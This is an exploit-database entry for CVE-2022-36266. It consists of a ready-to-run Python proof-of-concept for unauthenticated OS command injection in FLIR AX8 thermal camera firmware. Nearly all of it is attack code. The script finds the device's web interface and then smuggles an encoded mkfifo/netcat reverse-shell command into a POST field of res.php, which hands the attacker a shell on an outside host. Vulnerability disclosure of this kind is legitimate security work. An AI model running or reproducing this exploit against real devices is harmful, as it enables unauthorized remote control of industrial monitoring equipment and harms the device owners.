FLIX AX8 1.46.16 Remote Command Execution

2022.08.20
Credit: Samy Younsi
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

# -*- coding: utf-8 -*- # Exploit Title: FLIR AX8 Unauthenticated OS Command Injection # Date: 8/19/2022 # Exploit Author: Samy Younsi Naqwada (https://samy.link) # Vendor Homepage: https://www.flir.com/ # Software Link: https://www.flir.com/products/ax8-automation/ # PoC: https://www.youtube.com/watch?v=dh0_rfAIWok # Version: 1.46.16 and under. # Tested on: FLIR AX8 version 1.46.16 (Ubuntu) # CVE : CVE-2022-36266 from __future__ import print_function, unicode_literals from bs4 import BeautifulSoup import argparse import requests import json import urllib3 urllib3.disable_warnings() def banner(): flirLogo = """ ███████╗██╗ ██╗██████╗ ██╔════╝██║ ██║██╔══██╗ █████╗ ██║ ██║██████╔╝ ██╔══╝ ██║ ██║██╔══██╗ ██║ ███████╗██║██║ ██║ ╚═╝ ╚══════╝╚═╝╚═╝ ╚═╝ .---------------------. █████╗ ██╗ ██╗ █████╗ /--'--.------.--------/| ██╔══██╗╚██╗██╔╝██╔══██╗ |Say :) |__Ll__| [==] || ███████║ ╚███╔╝ ╚█████╔╝ |cheese!| .--. | '''' || ██╔══██║ ██╔██╗ ██╔══██╗ | |( () )| || ██║ ██║██╔╝ ██╗╚█████╔╝ | | `--` | |/ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚════╝ `-------`------`------` \033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m \033[1;91mFLIR AX8 Unauthenticated OS Command Injection\033[1;m FOR EDUCATIONAL PURPOSE ONLY. """ return print('\033[1;94m{}\033[1;m'.format(flirLogo)) def pingWebInterface(RHOST, RPORT): url = 'http://{}:{}/login/'.format(RHOST, RPORT) response = requests.get(url, allow_redirects=False, verify=False, timeout=60) try: if response.status_code != 200: print('[!] \033[1;91mError: FLIR AX8 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m') exit() soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser') version = soup.find('p', id = 'login-title').string print('[INFO] {} detected.'.format(version)) except: print('[ERROR] Can\'t grab the device version...') def execReverseShell(RHOST, RPORT, LHOST, LPORT): url = 'http://{}:{}/res.php'.format(RHOST, RPORT) payload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LPORT) data = 'action=alarm&id=2;{}'.format(payload) headers = { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', } try: print('[INFO] Executing reverse shell...') response = requests.post(url, headers=headers, data=data, allow_redirects=False, verify=False) print('Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT)) return except Exception as e: print('Reverse shell failed. Make sure the FLIR AX8 device can reach the host {}:{}').format(LHOST, LPORT) return False def main(): banner() args = parser.parse_args() pingWebInterface(args.RHOST, args.RPORT) execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on FLIR AX8 devices.', add_help=False) parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (FLIR AX8 device)", type=str, required=True) parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True) parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True) parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True) main()


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